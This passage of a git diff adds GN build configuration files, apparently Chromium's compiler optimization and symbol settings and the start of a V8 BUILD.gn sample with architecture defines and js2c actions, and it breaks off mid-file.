+  if (is_win && current_cpu == "x64") {
+    cflags = [ "/wd4267" ]
+  }
+}
+
+# Some code presumes that pointers to structures/objects are compatible
+# regardless of whether what they point to is already known to be valid.
+# gcc 4.9 and earlier had no way of suppressing this warning without
+# supressing the rest of them.  Here we centralize the identification of
+# the gcc 4.9 toolchains.
+config("no_incompatible_pointer_warnings") {
+  cflags = []
+  if (is_clang) {
+    cflags += [ "-Wno-incompatible-pointer-types" ]
+  } else if (current_cpu == "mipsel") {
+    cflags += [ "-w" ]
+  } else if (is_chromeos && current_cpu == "arm") {
+    cflags += [ "-w" ]
+  }
+}
+
+# Optimization -----------------------------------------------------------------
+#
+# The BUILDCONFIG file sets the "default_optimization" config on targets by
+# default. It will be equivalent to either "optimize" (release) or
+# "no_optimize" (debug) optimization configs.
+#
+# You can override the optimization level on a per-target basis by removing the
+# default config and then adding the named one you want:
+#
+#   configs -= [ "//build/config/compiler:default_optimization" ]
+#   configs += [ "//build/config/compiler:optimize_max" ]
+
+# Shared settings for both "optimize" and "optimize_max" configs.
+# IMPORTANT: On Windows "/O1" and "/O2" must go before the common flags.
+if (is_win) {
+  common_optimize_on_cflags = [
+    "/Ob2",  # Both explicit and auto inlining.
+    "/Oy-",  # Disable omitting frame pointers, must be after /O2.
+    "/d2Zi+",  # Improve debugging of optimized code.
+    "/Zc:inline",  # Remove unreferenced COMDAT (faster links).
+  ]
+  if (!is_asan) {
+    common_optimize_on_cflags += [
+      # Put data in separate COMDATs. This allows the linker
+      # to put bit-identical constants at the same address even if
+      # they're unrelated constants, which saves binary size.
+      # This optimization can't be used when ASan is enabled because
+      # it is not compatible with the ASan ODR checker.
+      "/Gw",
+    ]
+  }
+  common_optimize_on_ldflags = []
+  if (!is_component_build) {
+    common_optimize_on_ldflags += [ "/OPT:ICF" ]  # Redundant COMDAT folding.
+  }
+  if (is_official_build) {
+    common_optimize_on_ldflags += [ "/OPT:REF" ]  # Remove unreferenced data.
+    if (!use_lld) {
+      common_optimize_on_ldflags += [
+        # Set the number of LTCG code-gen threads to eight. The default is four.
+        # This gives a 5-10% link speedup.
+        "/cgthreads:8",
+      ]
+      if (use_incremental_wpo) {
+        # Incremental Link-time code generation.
+        common_optimize_on_ldflags += [ "/LTCG:INCREMENTAL" ]
+      } else {
+        common_optimize_on_ldflags += [ "/LTCG" ]  # Link-time code generation.
+      }
+    }
+    if (full_wpo_on_official) {
+      if (use_incremental_wpo) {
+        arflags = [ "/LTCG:INCREMENTAL" ]
+      } else {
+        arflags = [ "/LTCG" ]
+      }
+    }
+  }
+} else {
+  common_optimize_on_cflags = []
+  common_optimize_on_ldflags = []
+
+  if (is_android) {
+    # TODO(jdduke) Re-enable on mips after resolving linking
+    # issues with libc++ (crbug.com/456380).
+    if (current_cpu != "mipsel" && current_cpu != "mips64el") {
+      common_optimize_on_ldflags += [
+        # Warn in case of text relocations.
+        "-Wl,--warn-shared-textrel",
+      ]
+    }
+  }
+
+  if (is_mac || is_ios) {
+    if (symbol_level == 2) {
+      # Mac dead code stripping requires symbols.
+      common_optimize_on_ldflags += [ "-Wl,-dead_strip" ]
+    }
+  } else {
+    # Non-Mac Posix flags.
+
+    common_optimize_on_cflags += [
+      # Don't emit the GCC version ident directives, they just end up in the
+      # .comment section taking up binary size.
+      "-fno-ident",
+
+      # Put data and code in their own sections, so that unused symbols
+      # can be removed at link time with --gc-sections.
+      "-fdata-sections",
+      "-ffunction-sections",
+    ]
+
+    common_optimize_on_ldflags += [
+      # Specifically tell the linker to perform optimizations.
+      # See http://lwn.net/Articles/192624/ .
+      "-Wl,-O1",
+      "-Wl,--gc-sections",
+    ]
+  }
+}
+
+config("default_stack_frames") {
+  if (is_posix && !(is_mac || is_ios)) {
+    if (using_sanitizer || enable_profiling || is_debug ||
+        current_cpu == "arm64") {
+      # Explicitly ask for frame pointers, otherwise:
+      # * Stacks may be missing for sanitizer and profiling builds.
+      # * Debug tcmalloc can crash (crbug.com/636489).
+      # * Stacks may be missing for arm64 crash dumps (crbug.com/391706).
+      cflags = [ "-fno-omit-frame-pointer" ]
+    } else if (is_android) {
+      cflags = [ "-fomit-frame-pointer" ]
+    }
+  }
+}
+
+# Default "optimization on" config.
+config("optimize") {
+  if (is_win) {
+    # TODO(thakis): Remove is_clang here, https://crbug.com/598772
+    if (is_official_build && full_wpo_on_official && !is_clang) {
+      common_optimize_on_cflags += [
+        "/GL",  # Whole program optimization.
+
+        # Disable Warning 4702 ("Unreachable code") for the WPO/PGO builds.
+        # Probably anything that this would catch that wouldn't be caught in a
+        # normal build isn't going to actually be a bug, so the incremental
+        # value of C4702 for PGO builds is likely very small.
+        "/wd4702",
+      ]
+    }
+
+    # Favor size over speed, /O1 must be before the common flags. The GYP
+    # build also specifies /Os and /GF but these are implied by /O1.
+    cflags = [ "/O1" ] + common_optimize_on_cflags + [ "/Oi" ]
+  } else if (optimize_for_size) {
+    # Favor size over speed.
+    cflags = [ "-Os" ] + common_optimize_on_cflags
+  } else {
+    cflags = [ "-O2" ] + common_optimize_on_cflags
+  }
+  ldflags = common_optimize_on_ldflags
+}
+
+# Same config as 'optimize' but without the WPO flag.
+config("optimize_no_wpo") {
+  if (is_win) {
+    # Favor size over speed, /O1 must be before the common flags. The GYP
+    # build also specifies /Os and /GF but these are implied by /O1.
+    cflags = [ "/O1" ] + common_optimize_on_cflags + [ "/Oi" ]
+  } else if (optimize_for_size) {
+    # Favor size over speed.
+    cflags = [ "-Os" ] + common_optimize_on_cflags
+  } else if (optimize_for_fuzzing) {
+    cflags = [ "-O1" ] + common_optimize_on_cflags
+  } else {
+    cflags = [ "-O2" ] + common_optimize_on_cflags
+  }
+  ldflags = common_optimize_on_ldflags
+}
+
+# Turn off optimizations.
+config("no_optimize") {
+  if (is_win) {
+    cflags = [
+      "/Od",  # Disable optimization.
+      "/Ob0",  # Disable all inlining (on by default).
+    ]
+  } else if (is_android && !android_full_debug) {
+    # On Android we kind of optimize some things that don't affect debugging
+    # much even when optimization is disabled to get the binary size down.
+    cflags = [ "-Os" ]
+  } else {
+    cflags = [ "-O0" ]
+    ldflags = []
+  }
+}
+
+# Turns up the optimization level. On Windows, this implies whole program
+# optimization and link-time code generation which is very expensive and should
+# be used sparingly.
+config("optimize_max") {
+  if (is_nacl_irt) {
+    # The NaCl IRT is a special case and always wants its own config.
+    # Various components do:
+    #   if (!is_debug) {
+    #     configs -= [ "//build/config/compiler:default_optimization" ]
+    #     configs += [ "//build/config/compiler:optimize_max" ]
+    #   }
+    # So this config has to have the selection logic just like
+    # "default_optimization", below.
+    configs = [ "//build/config/nacl:irt_optimize" ]
+  } else {
+    ldflags = common_optimize_on_ldflags
+    if (is_win) {
+      # Favor speed over size, /O2 must be before the common flags. The GYP
+      # build also specifies /Ot, /Oi, and /GF, but these are implied by /O2.
+      cflags = [ "/O2" ] + common_optimize_on_cflags
+
+      if (is_official_build) {
+        if (!is_clang) {
+          cflags += [
+            "/GL",  # Whole program optimization.
+
+            # Disable Warning 4702 ("Unreachable code") for the WPO/PGO builds.
+            # Probably anything that this would catch that wouldn't be caught
+            # in a normal build isn't going to actually be a bug, so the
+            # incremental value of C4702 for PGO builds is likely very small.
+            "/wd4702",
+          ]
+        } else if (is_clang && use_lld) {
+          cflags += [ "-flto" ]  # Link-time optimization (whole program optimization).
+        }
+      }
+    } else if (optimize_for_fuzzing) {
+      cflags = [ "-O1" ] + common_optimize_on_cflags
+    } else {
+      cflags = [ "-O2" ] + common_optimize_on_cflags
+    }
+  }
+}
+
+# This config can be used to override the default settings for per-component
+# and whole-program optimization, optimizing the particular target for speed
+# instead of code size. This config is exactly the same as "optimize_max"
+# except that we use -O3 instead of -O2 on non-win, non-IRT platforms.
+#
+# TODO(crbug.com/621335) - rework how all of these configs are related
+# so that we don't need this disclaimer.
+config("optimize_speed") {
+  if (is_nacl_irt) {
+    # The NaCl IRT is a special case and always wants its own config.
+    # Various components do:
+    #   if (!is_debug) {
+    #     configs -= [ "//build/config/compiler:default_optimization" ]
+    #     configs += [ "//build/config/compiler:optimize_max" ]
+    #   }
+    # So this config has to have the selection logic just like
+    # "default_optimization", below.
+    configs = [ "//build/config/nacl:irt_optimize" ]
+  } else {
+    ldflags = common_optimize_on_ldflags
+    if (is_win) {
+      # Favor speed over size, /O2 must be before the common flags. The GYP
+      # build also specifies /Ot, /Oi, and /GF, but these are implied by /O2.
+      cflags = [ "/O2" ] + common_optimize_on_cflags
+
+      # TODO(thakis): Remove is_clang here, https://crbug.com/598772
+      if (is_official_build && !is_clang) {
+        cflags += [
+          "/GL",  # Whole program optimization.
+
+          # Disable Warning 4702 ("Unreachable code") for the WPO/PGO builds.
+          # Probably anything that this would catch that wouldn't be caught in a
+          # normal build isn't going to actually be a bug, so the incremental
+          # value of C4702 for PGO builds is likely very small.
+          "/wd4702",
+        ]
+      }
+    } else if (optimize_for_fuzzing) {
+      cflags = [ "-O1" ] + common_optimize_on_cflags
+    } else {
+      cflags = [ "-O3" ] + common_optimize_on_cflags
+    }
+  }
+}
+
+config("optimize_fuzzing") {
+  cflags = [ "-O1" ] + common_optimize_on_cflags
+  ldflags = common_optimize_on_ldflags
+  visibility = [ ":default_optimization" ]
+}
+
+# The default optimization applied to all targets. This will be equivalent to
+# either "optimize" or "no_optimize", depending on the build flags.
+config("default_optimization") {
+  if (is_nacl_irt) {
+    # The NaCl IRT is a special case and always wants its own config.
+    # It gets optimized the same way regardless of the type of build.
+    configs = [ "//build/config/nacl:irt_optimize" ]
+  } else if (is_debug) {
+    configs = [ ":no_optimize" ]
+  } else if (optimize_for_fuzzing) {
+    assert(!is_win, "Fuzzing optimize level not supported on Windows")
+    configs = [ ":optimize_fuzzing" ]
+  } else {
+    configs = [ ":optimize" ]
+  }
+}
+
+# GCC supports a form of profile-guided optimization called AFDO, which
+# is used by ChromeOS in their official builds. However,
+# //base/allocator:tcmalloc currently doesn't work correctly with AFDO
+# so we provide separate config so that the flag can be disabled per-target.
+# TODO(crbug.com/633719): Remove this config once tcmalloc works with AFDO
+# or we remove tcmalloc or we stop using AFDO.
+config("afdo") {
+  if (auto_profile_path != "" && current_toolchain == default_toolchain) {
+    cflags = [ "-fauto-profile=${auto_profile_path}" ]
+  }
+}
+
+# Symbols ----------------------------------------------------------------------
+
+# The BUILDCONFIG file sets the "default_symbols" config on targets by
+# default. It will be equivalent to one the three specific symbol levels.
+#
+# You can override the symbol level on a per-target basis by removing the
+# default config and then adding the named one you want:
+#
+#   configs -= [ "//build/config/compiler:default_symbols" ]
+#   configs += [ "//build/config/compiler:symbols" ]
+
+# Full symbols.
+config("symbols") {
+  if (is_win) {
+    cflags = [ "/Zi" ]  # Produce PDB file, no edit and continue.
+
+    if (is_win_fastlink) {
+      # Tell VS 2015+ to create a PDB that references debug
+      # information in .obj and .lib files instead of copying
+      # it all. This flag is incompatible with /PROFILE
+      ldflags = [ "/DEBUG:FASTLINK" ]
+    } else {
+      ldflags = [ "/DEBUG" ]
+    }
+  } else {
+    if (is_mac || is_ios) {
+      cflags = [ "-gdwarf-2" ]
+      if (is_mac && enable_dsyms) {
+        # If generating dSYMs, specify -fno-standalone-debug. This was
+        # originally specified for https://crbug.com/479841 because dsymutil
+        # could not handle a 4GB dSYM file. But dsymutil from Xcodes prior to
+        # version 7 also produces debug data that is incompatible with Breakpad
+        # dump_syms, so this is still required (https://crbug.com/622406).
+        cflags += [ "-fno-standalone-debug" ]
+      }
+    } else if (is_android) {
+      # Breakpad can't handle DWARF 4 symbols properly yet, so use DWARF 3
+      # explicitly on android where we are hitting https://crbug.com/638485.
+      # The arguments MUST be in this order because of a gcc arg parsing bug.
+      cflags = [
+        "-gdwarf-3",
+        "-g2",
+      ]
+    } else {
+      cflags = [ "-g2" ]
+    }
+    if (use_debug_fission) {
+      cflags += [ "-gsplit-dwarf" ]
+    }
+    asmflags = cflags
+    ldflags = []
+  }
+}
+
+# Minimal symbols.
+config("minimal_symbols") {
+  if (is_win) {
+    # Linker symbols for backtraces only.
+    cflags = []
+    ldflags = [ "/DEBUG" ]
+  } else {
+    if (is_android) {
+      # Breakpad can't handle DWARF 4 symbols properly yet, so use DWARF 3
+      # explicitly on android where we are hitting https://crbug.com/638485.
+      # The arguments MUST be in this order because of a gcc arg parsing bug.
+      cflags = [
+        "-gdwarf-3",
+        "-g1",
+      ]
+    } else {
+      cflags = [ "-g1" ]
+    }
+    if (use_debug_fission) {
+      cflags += [ "-gsplit-dwarf" ]
+    }
+    asmflags = cflags
+    ldflags = []
+  }
+}
+
+# No symbols.
+config("no_symbols") {
+  if (!is_win) {
+    cflags = [ "-g0" ]
+    asmflags = cflags
+  }
+}
+
+# Default symbols.
+config("default_symbols") {
+  if (symbol_level == 0) {
+    configs = [ ":no_symbols" ]
+  } else if (symbol_level == 1) {
+    configs = [ ":minimal_symbols" ]
+  } else if (symbol_level == 2) {
+    configs = [ ":symbols" ]
+  } else {
+    assert(false)
+  }
+}
+
+if (is_ios || is_mac) {
+  # On Mac and iOS, this enables support for ARC (automatic ref-counting).
+  # See http://clang.llvm.org/docs/AutomaticReferenceCounting.html.
+  config("enable_arc") {
+    common_flags = [ "-fobjc-arc" ]
+    cflags_objc = common_flags
+    cflags_objcc = common_flags
+  }
+}
diff --git a/samples/GN/BUILD.gn b/samples/GN/BUILD.gn
new file mode 100644
index 0000000000..dcefe3706b
--- /dev/null
+++ b/samples/GN/BUILD.gn
@@ -0,0 +1,2583 @@
+# Copyright 2014 The Chromium Authors. All rights reserved.
+# Use of this source code is governed by a BSD-style license that can be
+# found in the LICENSE file.
+
+import("//build/config/android/config.gni")
+import("//build/config/arm.gni")
+import("//build/config/dcheck_always_on.gni")
+import("//build/config/mips.gni")
+import("//build/config/sanitizers/sanitizers.gni")
+
+if (is_android) {
+  import("//build/config/android/rules.gni")
+}
+
+import("gni/v8.gni")
+import("gni/isolate.gni")
+import("//build_overrides/v8.gni")
+
+import("snapshot_toolchain.gni")
+
+declare_args() {
+  # Print to stdout on Android.
+  v8_android_log_stdout = false
+
+  # Sets -DVERIFY_HEAP.
+  v8_enable_verify_heap = false
+
+  # Enable compiler warnings when using V8_DEPRECATED apis.
+  v8_deprecation_warnings = false
+
+  # Enable compiler warnings when using V8_DEPRECATE_SOON apis.
+  v8_imminent_deprecation_warnings = ""
+
+  # Embeds the given script into the snapshot.
+  v8_embed_script = ""
+
+  # Sets -dENABLE_DISASSEMBLER.
+  v8_enable_disassembler = ""
+
+  # Sets -dENABLE_GDB_JIT_INTERFACE.
+  v8_enable_gdbjit = ""
+
+  # Sets -dENABLE_HANDLE_ZAPPING.
+  v8_enable_handle_zapping = is_debug
+
+  # Enable ECMAScript Internationalization API. Enabling this feature will
+  # add a dependency on the ICU library.
+  v8_enable_i18n_support = true
+
+  # Enable slow dchecks.
+  v8_enable_slow_dchecks = false
+
+  # Interpreted regexp engine exists as platform-independent alternative
+  # based where the regular expression is compiled to a bytecode.
+  v8_interpreted_regexp = false
+
+  # Sets -dOBJECT_PRINT.
+  v8_object_print = ""
+
+  # With post mortem support enabled, metadata is embedded into libv8 that
+  # describes various parameters of the VM for use by debuggers. See
+  # tools/gen-postmortem-metadata.py for details.
+  v8_postmortem_support = false
+
+  # Similar to vfp but on MIPS.
+  v8_can_use_fpu_instructions = true
+
+  # Similar to the ARM hard float ABI but on MIPS.
+  v8_use_mips_abi_hardfloat = true
+}
+
+# Set project-specific defaults for some args if not provided in args.gn. The
+# defaults can be set in the respective build_overrides files.
+if (v8_imminent_deprecation_warnings == "") {
+  if (defined(v8_imminent_deprecation_warnings_default)) {
+    v8_imminent_deprecation_warnings = v8_imminent_deprecation_warnings_default
+  } else {
+    v8_imminent_deprecation_warnings = false
+  }
+}
+if (v8_enable_gdbjit == "") {
+  if (defined(v8_enable_gdbjit_default)) {
+    v8_enable_gdbjit = v8_enable_gdbjit_default
+  } else {
+    v8_enable_gdbjit = false
+  }
+}
+
+# Derived defaults.
+if (v8_object_print == "") {
+  v8_object_print = is_debug && !v8_optimized_debug
+}
+if (v8_enable_disassembler == "") {
+  v8_enable_disassembler = is_debug && !v8_optimized_debug
+}
+
+v8_generated_peephole_source = "$target_gen_dir/bytecode-peephole-table.cc"
+v8_random_seed = "314159265"
+v8_toolset_for_shell = "host"
+
+###############################################################################
+# Configurations
+#
+config("internal_config") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  include_dirs = [ "." ]
+
+  if (is_component_build) {
+    defines = [
+      "V8_SHARED",
+      "BUILDING_V8_SHARED",
+    ]
+  }
+}
+
+config("internal_config_base") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  include_dirs = [ "." ]
+}
+
+# This config should be applied to code using the libplatform.
+config("libplatform_config") {
+  include_dirs = [ "include" ]
+}
+
+# This config should be applied to code using the libsampler.
+config("libsampler_config") {
+  include_dirs = [ "include" ]
+}
+
+# This config should only be applied to code using V8 and not any V8 code
+# itself.
+config("external_config") {
+  if (is_component_build) {
+    defines = [
+      "V8_SHARED",
+      "USING_V8_SHARED",
+    ]
+  }
+  include_dirs = [ "include" ]
+  libs = []
+  if (is_android && current_toolchain != host_toolchain) {
+    libs += [ "log" ]
+  }
+}
+
+# This config should only be applied to code that needs to be explicitly
+# aware of whether we are using startup data or not.
+config("external_startup_data") {
+  if (v8_use_external_startup_data) {
+    defines = [ "V8_USE_EXTERNAL_STARTUP_DATA" ]
+  }
+}
+
+config("features") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  defines = []
+
+  if (v8_enable_disassembler) {
+    defines += [ "ENABLE_DISASSEMBLER" ]
+  }
+  if (v8_enable_gdbjit) {
+    defines += [ "ENABLE_GDB_JIT_INTERFACE" ]
+  }
+  if (v8_object_print) {
+    defines += [ "OBJECT_PRINT" ]
+  }
+  if (v8_enable_verify_heap) {
+    defines += [ "VERIFY_HEAP" ]
+  }
+  if (v8_interpreted_regexp) {
+    defines += [ "V8_INTERPRETED_REGEXP" ]
+  }
+  if (v8_deprecation_warnings) {
+    defines += [ "V8_DEPRECATION_WARNINGS" ]
+  }
+  if (v8_imminent_deprecation_warnings) {
+    defines += [ "V8_IMMINENT_DEPRECATION_WARNINGS" ]
+  }
+  if (v8_enable_i18n_support) {
+    defines += [ "V8_I18N_SUPPORT" ]
+  }
+  if (v8_enable_handle_zapping) {
+    defines += [ "ENABLE_HANDLE_ZAPPING" ]
+  }
+  if (v8_use_external_startup_data) {
+    defines += [ "V8_USE_EXTERNAL_STARTUP_DATA" ]
+  }
+}
+
+config("toolchain") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  defines = []
+  cflags = []
+  ldflags = []
+
+  if (v8_current_cpu == "arm") {
+    defines += [ "V8_TARGET_ARCH_ARM" ]
+    if (arm_version == 7) {
+      defines += [ "CAN_USE_ARMV7_INSTRUCTIONS" ]
+    }
+    if (arm_fpu == "vfpv3-d16") {
+      defines += [ "CAN_USE_VFP3_INSTRUCTIONS" ]
+    } else if (arm_fpu == "vfpv3") {
+      defines += [
+        "CAN_USE_VFP3_INSTRUCTIONS",
+        "CAN_USE_VFP32DREGS",
+      ]
+    } else if (arm_fpu == "neon") {
+      defines += [
+        "CAN_USE_VFP3_INSTRUCTIONS",
+        "CAN_USE_VFP32DREGS",
+        "CAN_USE_NEON",
+      ]
+    }
+
+    # TODO(jochen): Add support for arm_test_noprobe.
+
+    if (current_cpu != "arm") {
+      # These defines ares used for the ARM simulator.
+      if (arm_float_abi == "hard") {
+        defines += [ "USE_EABI_HARDFLOAT=1" ]
+      } else if (arm_float_abi == "softfp") {
+        defines += [ "USE_EABI_HARDFLOAT=0" ]
+      }
+    }
+  }
+  if (v8_current_cpu == "arm64") {
+    defines += [ "V8_TARGET_ARCH_ARM64" ]
+  }
+
+  # TODO(jochen): Add support for mips.
+  if (v8_current_cpu == "mipsel") {
+    defines += [ "V8_TARGET_ARCH_MIPS" ]
+    if (v8_can_use_fpu_instructions) {
+      defines += [ "CAN_USE_FPU_INSTRUCTIONS" ]
+    }
+    if (v8_use_mips_abi_hardfloat) {
+      defines += [
+        "__mips_hard_float=1",
+        "CAN_USE_FPU_INSTRUCTIONS",
+      ]
+    } else {
+      defines += [ "__mips_soft_float=1" ]
+    }
+    if (mips_arch_variant == "r6") {
+      defines += [
+        "_MIPS_ARCH_MIPS32R6",
+        "FPU_MODE_FP64",
+      ]
+    } else if (mips_arch_variant == "r2") {
+      defines += [ "_MIPS_ARCH_MIPS32R2" ]
+      if (mips_fpu_mode == "fp64") {
+        defines += [ "FPU_MODE_FP64" ]
+      } else if (mips_fpu_mode == "fpxx") {
+        defines += [ "FPU_MODE_FPXX" ]
+      } else if (mips_fpu_mode == "fp32") {
+        defines += [ "FPU_MODE_FP32" ]
+      }
+    } else if (mips_arch_variant == "r1") {
+      defines += [ "FPU_MODE_FP32" ]
+    }
+
+    # TODO(jochen): Add support for mips_arch_variant rx and loongson.
+  }
+
+  # TODO(jochen): Add support for mips64.
+  if (v8_current_cpu == "mips64el") {
+    defines += [ "V8_TARGET_ARCH_MIPS64" ]
+    if (v8_can_use_fpu_instructions) {
+      defines += [ "CAN_USE_FPU_INSTRUCTIONS" ]
+    }
+
+    # TODO(jochen): Add support for big endian host byteorder.
+    defines += [ "V8_TARGET_ARCH_MIPS64_LE" ]
+    if (v8_use_mips_abi_hardfloat) {
+      defines += [
+        "__mips_hard_float=1",
+        "CAN_USE_FPU_INSTRUCTIONS",
+      ]
+    } else {
+      defines += [ "__mips_soft_float=1" ]
+    }
+    if (mips_arch_variant == "r6") {
+      defines += [ "_MIPS_ARCH_MIPS64R6" ]
+    } else if (mips_arch_variant == "r2") {
+      defines += [ "_MIPS_ARCH_MIPS64R2" ]
+    }
+  }
+  if (v8_current_cpu == "s390" || v8_current_cpu == "s390x") {
+    defines += [ "V8_TARGET_ARCH_S390" ]
+    if (v8_current_cpu == "s390x") {
+      defines += [ "V8_TARGET_ARCH_S390X" ]
+    }
+    if (host_cpu == "x64" || host_cpu == "x86") {
+      defines += [ "V8_TARGET_ARCH_S390_LE_SIM" ]
+    }
+  }
+  if (v8_current_cpu == "x86") {
+    defines += [ "V8_TARGET_ARCH_IA32" ]
+    if (is_win) {
+      # Ensure no surprising artifacts from 80bit double math with x86.
+      cflags += [ "/arch:SSE2" ]
+    }
+  }
+  if (v8_current_cpu == "x64") {
+    defines += [ "V8_TARGET_ARCH_X64" ]
+    if (is_win) {
+      # Increase the initial stack size. The default is 1MB, this is 2MB. This
+      # applies only to executables and shared libraries produced by V8 since
+      # ldflags are not pushed to dependants.
+      ldflags += [ "/STACK:2097152" ]
+    }
+  }
+  if (is_android && v8_android_log_stdout) {
+    defines += [ "V8_ANDROID_LOG_STDOUT" ]
+  }
+
+  # TODO(jochen): Support v8_enable_prof on Windows.
+  # TODO(jochen): Add support for compiling with simulators.
+
+  if (is_debug) {
+    if (is_linux && v8_enable_backtrace) {
+      ldflags += [ "-rdynamic" ]
+    }
+
+    # TODO(jochen): Add support for different debug optimization levels.
+    defines += [
+      "ENABLE_DISASSEMBLER",
+      "V8_ENABLE_CHECKS",
+      "OBJECT_PRINT",
+      "VERIFY_HEAP",
+      "DEBUG",
+      "TRACE_MAPS",
+    ]
+    if (v8_enable_slow_dchecks) {
+      defines += [ "ENABLE_SLOW_DCHECKS" ]
+    }
+  } else if (dcheck_always_on) {
+    defines += [ "DEBUG" ]
+  }
+}
+
+###############################################################################
+# Actions
+#
+
+action("js2c") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  script = "tools/js2c.py"
+
+  # The script depends on this other script, this rule causes a rebuild if it
+  # changes.
+  inputs = [
+    "tools/jsmin.py",
+  ]
+
+  # NOSORT
+  sources = [
+    "src/js/macros.py",
+    "src/messages.h",
+    "src/js/prologue.js",
+    "src/js/runtime.js",
+    "src/js/v8natives.js",
+    "src/js/symbol.js",
+    "src/js/array.js",
+    "src/js/string.js",
+    "src/js/math.js",
+    "src/js/regexp.js",
+    "src/js/arraybuffer.js",
+    "src/js/typedarray.js",
+    "src/js/iterator-prototype.js",
+    "src/js/collection.js",
+    "src/js/weak-collection.js",
+    "src/js/collection-iterator.js",
+    "src/js/promise.js",
+    "src/js/messages.js",
+    "src/js/array-iterator.js",
+    "src/js/string-iterator.js",
+    "src/js/templates.js",
+    "src/js/spread.js",
+    "src/js/proxy.js",
+    "src/debug/mirrors.js",
+    "src/debug/debug.js",
+    "src/debug/liveedit.js",
+  ]
+
+  outputs = [
+    "$target_gen_dir/libraries.cc",
+  ]
+
+  if (v8_enable_i18n_support) {
+    sources += [ "src/js/i18n.js" ]
+  }
+
+  args = [
+           rebase_path("$target_gen_dir/libraries.cc", root_build_dir),
+           "CORE",
+         ] + rebase_path(sources, root_build_dir)
+
+  if (v8_use_external_startup_data) {
+    outputs += [ "$target_gen_dir/libraries.bin" ]
+    args += [
+      "--startup_blob",
+      rebase_path("$target_gen_dir/libraries.bin", root_build_dir),
+    ]
+  }
+}
+
+action("js2c_experimental") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  script = "tools/js2c.py"
+
+  # The script depends on this other script, this rule causes a rebuild if it
+  # changes.
+  inputs = [
+    "tools/jsmin.py",
+  ]
+
+  # NOSORT
+  sources = [
+    "src/js/macros.py",
+    "src/messages.h",
+    "src/js/harmony-async-await.js",
+    "src/js/harmony-atomics.js",
+    "src/js/harmony-simd.js",
+    "src/js/harmony-string-padding.js",
+  ]
+
+  outputs = [
+    "$target_gen_dir/experimental-libraries.cc",
+  ]
+
+  if (v8_enable_i18n_support) {
+    sources += [
+      "src/js/icu-case-mapping.js",
+      "src/js/intl-extra.js",
+    ]
+  }
+
+  args = [
+           rebase_path("$target_gen_dir/experimental-libraries.cc",
+                       root_build_dir),
+           "EXPERIMENTAL",
+         ] + rebase_path(sources, root_build_dir)
+
+  if (v8_use_external_startup_data) {
+    outputs += [ "$target_gen_dir/libraries_experimental.bin" ]
+    args += [
+      "--startup_blob",
+      rebase_path("$target_gen_dir/libraries_experimental.bin", root_build_dir),
+    ]
+  }
+}
+
+action("js2c_extras") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  script = "tools/js2c.py"
+
+  # The script depends on this other script, this rule causes a rebuild if it
+  # changes.
+  inputs = [
+    "tools/jsmin.py",
+  ]
+
+  sources = v8_extra_library_files
+
+  outputs = [
+    "$target_gen_dir/extras-libraries.cc",
+  ]
+
+  args = [
+           rebase_path("$target_gen_dir/extras-libraries.cc", root_build_dir),
+           "EXTRAS",
+         ] + rebase_path(sources, root_build_dir)
+
+  if (v8_use_external_startup_data) {
+    outputs += [ "$target_gen_dir/libraries_extras.bin" ]
+    args += [
+      "--startup_blob",
+      rebase_path("$target_gen_dir/libraries_extras.bin", root_build_dir),
+    ]
+  }
+}
+
+action("js2c_experimental_extras") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  script = "tools/js2c.py"
+
+  # The script depends on this other script, this rule causes a rebuild if it
+  # changes.
+  inputs = [
+    "tools/jsmin.py",
+  ]
+
+  sources = v8_experimental_extra_library_files
+
+  outputs = [
+    "$target_gen_dir/experimental-extras-libraries.cc",
+  ]
+
+  args = [
+           rebase_path("$target_gen_dir/experimental-extras-libraries.cc",
+                       root_build_dir),
+           "EXPERIMENTAL_EXTRAS",
+         ] + rebase_path(sources, root_build_dir)
+
+  if (v8_use_external_startup_data) {
+    outputs += [ "$target_gen_dir/libraries_experimental_extras.bin" ]
+    args += [
+      "--startup_blob",
+      rebase_path("$target_gen_dir/libraries_experimental_extras.bin",
+                  root_build_dir),
+    ]
+  }
+}
+
+action("d8_js2c") {
+  visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+  script = "tools/js2c.py"
+
+  # NOSORT
+  inputs = [
+    "src/d8.js",
+    "src/js/macros.py",
+  ]
+
+  outputs = [
+    "$target_gen_dir/d8-js.cc",
+  ]
+
+  args = rebase_path(outputs, root_build_dir) + [ "D8" ] +
+         rebase_path(inputs, root_build_dir)
+}
+
+if (is_android && enable_java_templates) {
+  android_assets("v8_external_startup_data_assets") {
+    if (v8_use_external_startup_data) {
+      deps = [
+        "//v8",
+      ]
+      sources = [
+        "$root_out_dir/natives_blob.bin",
+      ]
+      renaming_sources = [ "$root_out_dir/snapshot_blob.bin" ]
+      if (current_cpu == "arm" || current_cpu == "x86" ||
+          current_cpu == "mipsel") {
+        renaming_destinations = [ "snapshot_blob_32.bin" ]
+      } else {
+        renaming_destinations = [ "snapshot_blob_64.bin" ]
+      }
+      disable_compression = true
+    }
+  }
+}
+
+if (v8_use_external_startup_data) {
+  action("natives_blob") {
+    visibility = [ ":*" ]  # Only targets in this file can depend on this.
+
+    deps = [
+      ":js2c",
+      ":js2c_experimental",
+      ":js2c_experimental_extras",
+      ":js2c_extras",
+    ]
+
+    # NOSORT
+    sources = [
+      "$target_gen_dir/libraries.bin",
+      "$target_gen_dir/libraries_experimental.bin",
+      "$target_gen_dir/libraries_extras.bin",
+      "$target_gen_dir/libraries_experimental_extras.bin",
+    ]
+
+    outputs = [
+      "$root_out_dir/natives_blob.bin",
+    ]
+
+    script = "tools/concatenate-files.py"
+
+    args = rebase_path(sources + outputs, root_build_dir)
+  }
+}
+
+action("postmortem-metadata") {
+  # Only targets in this file and the top-level visibility target can
+  # depend on this.
+  visibility = [
+    ":*",
+    "//:gn_visibility",
+  ]
+
+  script = "tools/gen-postmortem-metadata.py"
+
+  # NOSORT
+  sources = [
+    "src/objects.h",
+    "src/objects-inl.h",
+  ]
+
+  outputs = [
+    "$target_gen_dir/debug-support.cc",
+  ]
+
+  args = rebase_path(outputs, root_build_dir) +
+         rebase_path(sources, root_build_dir)
+}
+
+action("run_mksnapshot") {
